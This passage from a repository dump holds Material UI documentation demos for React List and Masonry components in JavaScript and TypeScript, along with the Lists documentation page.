text\"\n        />\n      </FormGroup>\n      <Grid container spacing={2}>\n        <Grid\n          size={{\n            xs: 12,\n            md: 6,\n          }}\n        >\n          <Typography sx={{ mt: 4, mb: 2 }} variant=\"h6\" component=\"div\">\n            Text only\n          </Typography>\n          <Demo>\n            <List dense={dense}>\n              {generate(\n                <ListItem>\n                  <ListItemText\n                    primary=\"Single-line item\"\n                    secondary={secondary ? 'Secondary text' : null}\n                  />\n                </ListItem>,\n              )}\n            </List>\n          </Demo>\n        </Grid>\n        <Grid\n          size={{\n            xs: 12,\n            md: 6,\n          }}\n        >\n          <Typography sx={{ mt: 4, mb: 2 }} variant=\"h6\" component=\"div\">\n            Icon with text\n          </Typography>\n          <Demo>\n            <List dense={dense}>\n              {generate(\n                <ListItem>\n                  <ListItemIcon>\n                    <FolderIcon />\n                  </ListItemIcon>\n                  <ListItemText\n                    primary=\"Single-line item\"\n                    secondary={secondary ? 'Secondary text' : null}\n                  />\n                </ListItem>,\n              )}\n            </List>\n          </Demo>\n        </Grid>\n      </Grid>\n      <Grid container spacing={2}>\n        <Grid\n          size={{\n            xs: 12,\n            md: 6,\n          }}\n        >\n          <Typography sx={{ mt: 4, mb: 2 }} variant=\"h6\" component=\"div\">\n            Avatar with text\n          </Typography>\n          <Demo>\n            <List dense={dense}>\n              {generate(\n                <ListItem>\n                  <ListItemAvatar>\n                    <Avatar>\n                      <FolderIcon />\n                    </Avatar>\n                  </ListItemAvatar>\n                  <ListItemText\n                    primary=\"Single-line item\"\n                    secondary={secondary ? 'Secondary text' : null}\n                  />\n                </ListItem>,\n              )}\n            </List>\n          </Demo>\n        </Grid>\n        <Grid\n          size={{\n            xs: 12,\n            md: 6,\n          }}\n        >\n          <Typography sx={{ mt: 4, mb: 2 }} variant=\"h6\" component=\"div\">\n            Avatar with text and icon\n          </Typography>\n          <Demo>\n            <List dense={dense}>\n              {generate(\n                <ListItem\n                  secondaryAction={\n                    <IconButton edge=\"end\" aria-label=\"delete\">\n                      <DeleteIcon />\n                    </IconButton>\n                  }\n                >\n                  <ListItemAvatar>\n                    <Avatar>\n                      <FolderIcon />\n                    </Avatar>\n                  </ListItemAvatar>\n                  <ListItemText\n                    primary=\"Single-line item\"\n                    secondary={secondary ? 'Secondary text' : null}\n                  />\n                </ListItem>,\n              )}\n            </List>\n          </Demo>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/NestedList.js",
    "content": "import * as React from 'react';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport List from '@mui/material/List';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Collapse from '@mui/material/Collapse';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport DraftsIcon from '@mui/icons-material/Drafts';\nimport SendIcon from '@mui/icons-material/Send';\nimport ExpandLess from '@mui/icons-material/ExpandLess';\nimport ExpandMore from '@mui/icons-material/ExpandMore';\nimport StarBorder from '@mui/icons-material/StarBorder';\n\nexport default function NestedList() {\n  const [open, setOpen] = React.useState(true);\n\n  const handleClick = () => {\n    setOpen(!open);\n  };\n\n  return (\n    <List\n      sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}\n      component=\"nav\"\n      aria-labelledby=\"nested-list-subheader\"\n      subheader={\n        <ListSubheader component=\"div\" id=\"nested-list-subheader\">\n          Nested List Items\n        </ListSubheader>\n      }\n    >\n      <ListItemButton>\n        <ListItemIcon>\n          <SendIcon />\n        </ListItemIcon>\n        <ListItemText primary=\"Sent mail\" />\n      </ListItemButton>\n      <ListItemButton>\n        <ListItemIcon>\n          <DraftsIcon />\n        </ListItemIcon>\n        <ListItemText primary=\"Drafts\" />\n      </ListItemButton>\n      <ListItemButton onClick={handleClick}>\n        <ListItemIcon>\n          <InboxIcon />\n        </ListItemIcon>\n        <ListItemText primary=\"Inbox\" />\n        {open ? <ExpandLess /> : <ExpandMore />}\n      </ListItemButton>\n      <Collapse in={open} timeout=\"auto\" unmountOnExit>\n        <List component=\"div\" disablePadding>\n          <ListItemButton sx={{ pl: 4 }}>\n            <ListItemIcon>\n              <StarBorder />\n            </ListItemIcon>\n            <ListItemText primary=\"Starred\" />\n          </ListItemButton>\n        </List>\n      </Collapse>\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/NestedList.tsx",
    "content": "import * as React from 'react';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport List from '@mui/material/List';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Collapse from '@mui/material/Collapse';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport DraftsIcon from '@mui/icons-material/Drafts';\nimport SendIcon from '@mui/icons-material/Send';\nimport ExpandLess from '@mui/icons-material/ExpandLess';\nimport ExpandMore from '@mui/icons-material/ExpandMore';\nimport StarBorder from '@mui/icons-material/StarBorder';\n\nexport default function NestedList() {\n  const [open, setOpen] = React.useState(true);\n\n  const handleClick = () => {\n    setOpen(!open);\n  };\n\n  return (\n    <List\n      sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}\n      component=\"nav\"\n      aria-labelledby=\"nested-list-subheader\"\n      subheader={\n        <ListSubheader component=\"div\" id=\"nested-list-subheader\">\n          Nested List Items\n        </ListSubheader>\n      }\n    >\n      <ListItemButton>\n        <ListItemIcon>\n          <SendIcon />\n        </ListItemIcon>\n        <ListItemText primary=\"Sent mail\" />\n      </ListItemButton>\n      <ListItemButton>\n        <ListItemIcon>\n          <DraftsIcon />\n        </ListItemIcon>\n        <ListItemText primary=\"Drafts\" />\n      </ListItemButton>\n      <ListItemButton onClick={handleClick}>\n        <ListItemIcon>\n          <InboxIcon />\n        </ListItemIcon>\n        <ListItemText primary=\"Inbox\" />\n        {open ? <ExpandLess /> : <ExpandMore />}\n      </ListItemButton>\n      <Collapse in={open} timeout=\"auto\" unmountOnExit>\n        <List component=\"div\" disablePadding>\n          <ListItemButton sx={{ pl: 4 }}>\n            <ListItemIcon>\n              <StarBorder />\n            </ListItemIcon>\n            <ListItemText primary=\"Starred\" />\n          </ListItemButton>\n        </List>\n      </Collapse>\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/PinnedSubheaderList.js",
    "content": "import List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListSubheader from '@mui/material/ListSubheader';\n\nexport default function PinnedSubheaderList() {\n  return (\n    <List\n      sx={{\n        width: '100%',\n        maxWidth: 360,\n        bgcolor: 'background.paper',\n        position: 'relative',\n        overflow: 'auto',\n        maxHeight: 300,\n        '& ul': { padding: 0 },\n      }}\n      subheader={<li />}\n    >\n      {[0, 1, 2, 3, 4].map((sectionId) => (\n        <li key={`section-${sectionId}`}>\n          <ul>\n            <ListSubheader>{`I'm sticky ${sectionId}`}</ListSubheader>\n            {[0, 1, 2].map((item) => (\n              <ListItem key={`item-${sectionId}-${item}`}>\n                <ListItemText primary={`Item ${item}`} />\n              </ListItem>\n            ))}\n          </ul>\n        </li>\n      ))}\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/PinnedSubheaderList.tsx",
    "content": "import List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListSubheader from '@mui/material/ListSubheader';\n\nexport default function PinnedSubheaderList() {\n  return (\n    <List\n      sx={{\n        width: '100%',\n        maxWidth: 360,\n        bgcolor: 'background.paper',\n        position: 'relative',\n        overflow: 'auto',\n        maxHeight: 300,\n        '& ul': { padding: 0 },\n      }}\n      subheader={<li />}\n    >\n      {[0, 1, 2, 3, 4].map((sectionId) => (\n        <li key={`section-${sectionId}`}>\n          <ul>\n            <ListSubheader>{`I'm sticky ${sectionId}`}</ListSubheader>\n            {[0, 1, 2].map((item) => (\n              <ListItem key={`item-${sectionId}-${item}`}>\n                <ListItemText primary={`Item ${item}`} />\n              </ListItem>\n            ))}\n          </ul>\n        </li>\n      ))}\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/SelectedListItem.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport List from '@mui/material/List';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Divider from '@mui/material/Divider';\nimport InboxIcon from '@mui/icons-material/Inbox';\nimport DraftsIcon from '@mui/icons-material/Drafts';\n\nexport default function SelectedListItem() {\n  const [selectedIndex, setSelectedIndex] = React.useState(1);\n\n  const handleListItemClick = (event, index) => {\n    setSelectedIndex(index);\n  };\n\n  return (\n    <Box sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}>\n      <List component=\"nav\" aria-label=\"main mailbox folders\">\n        <ListItemButton\n          selected={selectedIndex === 0}\n          onClick={(event) => handleListItemClick(event, 0)}\n        >\n          <ListItemIcon>\n            <InboxIcon />\n          </ListItemIcon>\n          <ListItemText primary=\"Inbox\" />\n        </ListItemButton>\n        <ListItemButton\n          selected={selectedIndex === 1}\n          onClick={(event) => handleListItemClick(event, 1)}\n        >\n          <ListItemIcon>\n            <DraftsIcon />\n          </ListItemIcon>\n          <ListItemText primary=\"Drafts\" />\n        </ListItemButton>\n      </List>\n      <Divider />\n      <List component=\"nav\" aria-label=\"secondary mailbox folder\">\n        <ListItemButton\n          selected={selectedIndex === 2}\n          onClick={(event) => handleListItemClick(event, 2)}\n        >\n          <ListItemText primary=\"Trash\" />\n        </ListItemButton>\n        <ListItemButton\n          selected={selectedIndex === 3}\n          onClick={(event) => handleListItemClick(event, 3)}\n        >\n          <ListItemText primary=\"Spam\" />\n        </ListItemButton>\n      </List>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/SelectedListItem.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport List from '@mui/material/List';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Divider from '@mui/material/Divider';\nimport InboxIcon from '@mui/icons-material/Inbox';\nimport DraftsIcon from '@mui/icons-material/Drafts';\n\nexport default function SelectedListItem() {\n  const [selectedIndex, setSelectedIndex] = React.useState(1);\n\n  const handleListItemClick = (\n    event: React.MouseEvent<HTMLDivElement, MouseEvent>,\n    index: number,\n  ) => {\n    setSelectedIndex(index);\n  };\n\n  return (\n    <Box sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}>\n      <List component=\"nav\" aria-label=\"main mailbox folders\">\n        <ListItemButton\n          selected={selectedIndex === 0}\n          onClick={(event) => handleListItemClick(event, 0)}\n        >\n          <ListItemIcon>\n            <InboxIcon />\n          </ListItemIcon>\n          <ListItemText primary=\"Inbox\" />\n        </ListItemButton>\n        <ListItemButton\n          selected={selectedIndex === 1}\n          onClick={(event) => handleListItemClick(event, 1)}\n        >\n          <ListItemIcon>\n            <DraftsIcon />\n          </ListItemIcon>\n          <ListItemText primary=\"Drafts\" />\n        </ListItemButton>\n      </List>\n      <Divider />\n      <List component=\"nav\" aria-label=\"secondary mailbox folder\">\n        <ListItemButton\n          selected={selectedIndex === 2}\n          onClick={(event) => handleListItemClick(event, 2)}\n        >\n          <ListItemText primary=\"Trash\" />\n        </ListItemButton>\n        <ListItemButton\n          selected={selectedIndex === 3}\n          onClick={(event) => handleListItemClick(event, 3)}\n        >\n          <ListItemText primary=\"Spam\" />\n        </ListItemButton>\n      </List>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/SwitchListSecondary.js",
    "content": "import * as React from 'react';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport Switch from '@mui/material/Switch';\nimport WifiIcon from '@mui/icons-material/Wifi';\nimport BluetoothIcon from '@mui/icons-material/Bluetooth';\n\nexport default function SwitchListSecondary() {\n  const [checked, setChecked] = React.useState(['wifi']);\n\n  const handleToggle = (value) => () => {\n    const currentIndex = checked.indexOf(value);\n    const newChecked = [...checked];\n\n    if (currentIndex === -1) {\n      newChecked.push(value);\n    } else {\n      newChecked.splice(currentIndex, 1);\n    }\n\n    setChecked(newChecked);\n  };\n\n  return (\n    <List\n      sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}\n      subheader={<ListSubheader>Settings</ListSubheader>}\n    >\n      <ListItem>\n        <ListItemIcon>\n          <WifiIcon />\n        </ListItemIcon>\n        <ListItemText id=\"switch-list-label-wifi\" primary=\"Wi-Fi\" />\n        <Switch\n          edge=\"end\"\n          onChange={handleToggle('wifi')}\n          checked={checked.includes('wifi')}\n          slotProps={{\n            input: { 'aria-labelledby': 'switch-list-label-wifi' },\n          }}\n        />\n      </ListItem>\n      <ListItem>\n        <ListItemIcon>\n          <BluetoothIcon />\n        </ListItemIcon>\n        <ListItemText id=\"switch-list-label-bluetooth\" primary=\"Bluetooth\" />\n        <Switch\n          edge=\"end\"\n          onChange={handleToggle('bluetooth')}\n          checked={checked.includes('bluetooth')}\n          slotProps={{\n            input: { 'aria-labelledby': 'switch-list-label-bluetooth' },\n          }}\n        />\n      </ListItem>\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/SwitchListSecondary.tsx",
    "content": "import * as React from 'react';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport Switch from '@mui/material/Switch';\nimport WifiIcon from '@mui/icons-material/Wifi';\nimport BluetoothIcon from '@mui/icons-material/Bluetooth';\n\nexport default function SwitchListSecondary() {\n  const [checked, setChecked] = React.useState(['wifi']);\n\n  const handleToggle = (value: string) => () => {\n    const currentIndex = checked.indexOf(value);\n    const newChecked = [...checked];\n\n    if (currentIndex === -1) {\n      newChecked.push(value);\n    } else {\n      newChecked.splice(currentIndex, 1);\n    }\n\n    setChecked(newChecked);\n  };\n\n  return (\n    <List\n      sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}\n      subheader={<ListSubheader>Settings</ListSubheader>}\n    >\n      <ListItem>\n        <ListItemIcon>\n          <WifiIcon />\n        </ListItemIcon>\n        <ListItemText id=\"switch-list-label-wifi\" primary=\"Wi-Fi\" />\n        <Switch\n          edge=\"end\"\n          onChange={handleToggle('wifi')}\n          checked={checked.includes('wifi')}\n          slotProps={{\n            input: { 'aria-labelledby': 'switch-list-label-wifi' },\n          }}\n        />\n      </ListItem>\n      <ListItem>\n        <ListItemIcon>\n          <BluetoothIcon />\n        </ListItemIcon>\n        <ListItemText id=\"switch-list-label-bluetooth\" primary=\"Bluetooth\" />\n        <Switch\n          edge=\"end\"\n          onChange={handleToggle('bluetooth')}\n          checked={checked.includes('bluetooth')}\n          slotProps={{\n            input: { 'aria-labelledby': 'switch-list-label-bluetooth' },\n          }}\n        />\n      </ListItem>\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/VirtualizedList.js",
    "content": "import Box from '@mui/material/Box';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemText from '@mui/material/ListItemText';\nimport { List } from 'react-window';\n\nfunction renderRow(props) {\n  const { index, style } = props;\n\n  return (\n    <ListItem style={style} key={index} component=\"div\" disablePadding>\n      <ListItemButton>\n        <ListItemText primary={`Item ${index + 1}`} />\n      </ListItemButton>\n    </ListItem>\n  );\n}\n\nexport default function VirtualizedList() {\n  return (\n    <Box\n      sx={{ width: '100%', height: 400, maxWidth: 360, bgcolor: 'background.paper' }}\n    >\n      <List\n        rowHeight={46}\n        rowCount={200}\n        style={{\n          height: 400,\n          width: 360,\n        }}\n        rowProps={{}}\n        overscanCount={5}\n        rowComponent={renderRow}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/VirtualizedList.tsx",
    "content": "import Box from '@mui/material/Box';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemText from '@mui/material/ListItemText';\nimport { List, RowComponentProps } from 'react-window';\n\nfunction renderRow(props: RowComponentProps) {\n  const { index, style } = props;\n\n  return (\n    <ListItem style={style} key={index} component=\"div\" disablePadding>\n      <ListItemButton>\n        <ListItemText primary={`Item ${index + 1}`} />\n      </ListItemButton>\n    </ListItem>\n  );\n}\n\nexport default function VirtualizedList() {\n  return (\n    <Box\n      sx={{ width: '100%', height: 400, maxWidth: 360, bgcolor: 'background.paper' }}\n    >\n      <List\n        rowHeight={46}\n        rowCount={200}\n        style={{\n          height: 400,\n          width: 360,\n        }}\n        rowProps={{}}\n        overscanCount={5}\n        rowComponent={renderRow}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/VirtualizedList.tsx.preview",
    "content": "<List\n  rowHeight={46}\n  rowCount={200}\n  style={{\n    height: 400,\n    width: 360,\n  }}\n  rowProps={{}}\n  overscanCount={5}\n  rowComponent={renderRow}\n/>"
  },
  {
    "path": "docs/data/material/components/lists/lists.md",
    "content": "---\nproductId: material-ui\ntitle: React List component\ncomponents: Collapse, Divider, List, ListItem, ListItemButton, ListItemAvatar, ListItemIcon, ListItemSecondaryAction, ListItemText, ListSubheader\ngithubLabel: 'scope: list'\nmaterialDesign: https://m2.material.io/components/lists\ngithubSource: packages/mui-material/src/List\n---\n\n# Lists\n\n<p class=\"description\">Lists are continuous, vertical indexes of text or images.</p>\n\nLists are a continuous group of text or images. They are composed of items containing primary and supplemental actions, which are represented by icons and text.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Introduction\n\nLists present information in a concise, easy-to-follow format through a continuous, vertical index of text or images.\n\nMaterial UI Lists are implemented using a collection of related components:\n\n- List: a wrapper for list items. Renders as a `<ul>` by default.\n- List Item: a common list item. Renders as an `<li>` by default.\n- List Item Button: an action element to be used inside a list item.\n- List Item Icon: an icon to be used inside of a list item.\n- List Item Avatar: an avatar to be used inside of a list item.\n- List Item Text: a container inside a list item, used to display text content.\n- List Divider: a separator between list items.\n- List Subheader: a label for a nested list.\n\n{{\"demo\": \"BasicList.js\", \"bg\": true}}\n\nThe last item of the previous demo shows how you can render a link:\n\n```jsx\n<ListItemButton component=\"a\" href=\"#simple-list\">\n  <ListItemText primary=\"Spam\" />\n</ListItemButton>\n```\n\nYou can find a [demo with React Router following this section](/material-ui/integrations/routing/#list) of the documentation.\n\n## Basics\n\n```jsx\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\n```\n\n## Nested List\n\n{{\"demo\": \"NestedList.js\", \"bg\": true}}\n\n## Folder List\n\n{{\"demo\": \"FolderList.js\", \"bg\": true}}\n\n## Interactive\n\nBelow is an interactive demo that lets you explore the visual results of the different settings:\n\n{{\"demo\": \"InteractiveList.js\", \"bg\": true}}\n\n## Selected ListItem\n\n{{\"demo\": \"SelectedListItem.js\", \"bg\": true}}\n\n## Align list items\n\nWhen displaying three lines or more, the avatar is not aligned at the top.\nYou should set the `alignItems=\"flex-start\"` prop to align the avatar at the top, following the Material Design guidelines:\n\n{{\"demo\": \"AlignItemsList.js\", \"bg\": true}}\n\n## List Controls\n\n### Checkbox\n\nA checkbox can either be a primary action or a secondary action.\n\nThe checkbox is the primary action and the state indicator for the list item. The comment button is a secondary action and a separate target.\n\n{{\"demo\": \"CheckboxList.js\", \"bg\": true}}\n\nThe checkbox is the secondary action for the list item and a separate target.\n\n{{\"demo\": \"CheckboxListSecondary.js\", \"bg\": true}}\n\n### Switch\n\nThe switch is the secondary action and a separate target.\n\n{{\"demo\": \"SwitchListSecondary.js\", \"bg\": true}}\n\n## Sticky subheader\n\nUpon scrolling, subheaders remain pinned to the top of the screen until pushed off screen by the next subheader.\nThis feature relies on CSS sticky positioning.\n\n{{\"demo\": \"PinnedSubheaderList.js\", \"bg\": true}}\n\n## Inset List Item\n\nThe `inset` prop enables a list item that does not have a leading icon or avatar to align correctly with items that do.\n\n{{\"demo\": \"InsetList.js\", \"bg\": true}}\n\n## Gutterless list\n\nWhen rendering a list within a component that defines its own gutters, `ListItem` gutters can be disabled with `disableGutters`.\n\n{{\"demo\": \"GutterlessList.js\", \"bg\": true}}\n\n## Virtualized List\n\nIn the following example, we demonstrate how to use [react-window](https://github.com/bvaughn/react-window) with the `List` component.\nIt renders 200 rows and can easily handle more.\nVirtualization helps with performance issues.\n\n{{\"demo\": \"VirtualizedList.js\", \"bg\": true}}\n\nThe use of [react-window](https://github.com/bvaughn/react-window) when possible is encouraged.\nIf this library doesn't cover your use case, you should consider using alternatives like [react-virtuoso](https://github.com/petyosi/react-virtuoso).\n\n## Customization\n\nHere are some examples of customizing the component.\nYou can learn more about this in the\n[overrides documentation page](/material-ui/customization/how-to-customize/).\n\n{{\"demo\": \"CustomizedList.js\"}}\n"
  },
  {
    "path": "docs/data/material/components/masonry/BasicMasonry.js",
    "content": "import Box from '@mui/material/Box';\nimport { styled } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Masonry from '@mui/lab/Masonry';\n\nconst heights = [150, 30, 90, 70, 110, 150, 130, 80, 50, 90, 100, 150, 30, 50, 80];\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(0.5),\n  textAlign: 'center',\n  color: (theme.vars || theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function BasicMasonry() {\n  return (\n    <Box sx={{ width: 500, minHeight: 393 }}>\n      <Masonry columns={4} spacing={2}>\n        {heights.map((height, index) => (\n          <Item key={index} sx={{ height }}>\n            {index + 1}\n          </Item>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/masonry/BasicMasonry.tsx",
    "content": "import Box from '@mui/material/Box';\nimport { styled } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Masonry from '@mui/lab/Masonry';\n\nconst heights = [150, 30, 90, 70, 110, 150, 130, 80, 50, 90, 100, 150, 30, 50, 80];\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(0.5),\n  textAlign: 'center',\n  color: (theme.vars || theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function BasicMasonry() {\n  return (\n    <Box sx={{ width: 500, minHeight: 393 }}>\n      <Masonry columns={4} spacing={2}>\n        {heights.map((height, index) => (\n          <Item key={index} sx={{ height }}>\n            {index + 1}\n          </Item>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/masonry/BasicMasonry.tsx.preview",
    "content": "<Masonry columns={4} spacing={2}>\n  {heights.map((height, index) => (\n    <Item key={index} sx={{ height }}>\n      {index + 1}\n    </Item>\n  ))}\n</Masonry>"
  },
  {
    "path": "docs/data/material/components/masonry/FixedColumns.js",
    "content": "import Box from '@mui/material/Box';\nimport { styled } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Masonry from '@mui/lab/Masonry';\n\nconst heights = [150, 30, 90, 70, 90, 100, 150, 30, 50, 80];\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(0.5),\n  textAlign: 'center',\n  color: (theme.vars || theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function FixedColumns() {\n  return (\n    <Box sx={{ width: 500, minHeight: 253 }}>\n      <Masonry columns={4} spacing={2}>\n        {heights.map((height, index) => (\n          <Item key={index} sx={{ height }}>\n            {index + 1}\n          </Item>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/masonry/FixedColumns.tsx",
    "content": "import Box from '@mui/material/Box';\nimport { styled } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Masonry from '@mui/lab/Masonry';\n\nconst heights = [150, 30, 90, 70, 90, 100, 150, 30, 50, 80];\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(0.5),\n  textAlign: 'center',\n  color: (theme.vars || theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function FixedColumns() {\n  return (\n    <Box sx={{ width: 500, minHeight: 253 }}>\n      <Masonry columns={4} spacing={2}>\n        {heights.map((height, index) => (\n          <Item key={index} sx={{ height }}>\n            {index + 1}\n          </Item>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/masonry/FixedColumns.tsx.preview",
    "content": "<Masonry columns={4} spacing={2}>\n  {heights.map((height, index) => (\n    <Item key={index} sx={{ height }}>\n      {index + 1}\n    </Item>\n  ))}\n</Masonry>"
  },
  {
    "path": "docs/data/material/components/masonry/FixedSpacing.js",
    "content": "import Box from '@mui/material/Box';\nimport { styled } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Masonry from '@mui/lab/Masonry';\n\nconst heights = [150, 30, 90, 70, 90, 100, 150, 30, 50, 80];\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(0.5),\n  textAlign: 'center',\n  color: (theme.vars || theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function FixedSpacing() {\n  return (\n    <Box sx={{ width: 500, minHeight: 377 }}>\n      <Masonry columns={3} spacing={3}>\n        {heights.map((height, index) => (\n          <Item key={index} sx={{ height }}>\n            {index + 1}\n          </Item>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/masonry/FixedSpacing.tsx",
    "content": "import Box from '@mui/material/Box';\nimport { styled } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Masonry from '@mui/lab/Masonry';\n\nconst heights = [150, 30, 90, 70, 90, 100, 150, 30, 50, 80];\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(0.5),\n  textAlign: 'center',\n  color: (theme.vars || theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function FixedSpacing() {\n  return (\n    <Box sx={{ width: 500, minHeight: 377 }}>\n      <Masonry columns={3} spacing={3}>\n        {heights.map((height, index) => (\n          <Item key={index} sx={{ height }}>\n            {index + 1}\n          </Item>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/masonry/FixedSpacing.tsx.preview",
    "content": "<Masonry columns={3} spacing={3}>\n  {heights.map((height, index) => (\n    <Item key={index} sx={{ height }}>\n      {index + 1}\n    </Item>\n  ))}\n</Masonry>"
  },
  {
    "path": "docs/data/material/components/masonry/ImageMasonry.js",
    "content": "import Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Masonry from '@mui/lab/Masonry';\nimport { styled } from '@mui/material/styles';\n\nconst Label = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(0.5),\n  textAlign: 'center',\n  color: (theme.vars || theme).palette.text.secondary,\n  borderBottomLeftRadius: 0,\n  borderBottomRightRadius: 0,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function ImageMasonry() {\n  return (\n    <Box sx={{ width: 500, minHeight: 829 }}>\n      <Masonry columns={3} spacing={2}>\n        {itemData.map((item, index) => (\n          <div key={index}>\n            <Label>{index + 1}</Label>\n            <img\n              srcSet={`${item.img}?w=162&auto=format&dpr=2 2x`}\n              src={`${item.img}?w=162&auto=format`}\n              alt={item.title}\n              loading=\"lazy\"\n              style={{\n                borderBottomLeftRadius: 4,\n                borderBottomRightRadius: 4,\n                display: 'block',\n                width: '100%',\n              }}\n            />\n          </div>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n\nconst itemData = [\n  {\n    img: 'https://images.unsplash.com/photo-1518756131217-31eb79b20e8f',\n    title: 'Fern',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1627308595229-7830a5c91f9f',\n    title: 'Snacks',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1597645587822-e99fa5d45d25',\n    title: 'Mushrooms',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1529655683826-aba9b3e77383',\n    title: 'Tower',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1471357674240-e1a485acb3e1',\n    title: 'Sea star',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1558642452-9d2a7deb7f62',\n    title: 'Honey',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1516802273409-68526ee1bdd6',\n    title: 'Basketball',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1551963831-b3b1ca40c98e',\n    title: 'Breakfast',\n  },\n  {\n    img: 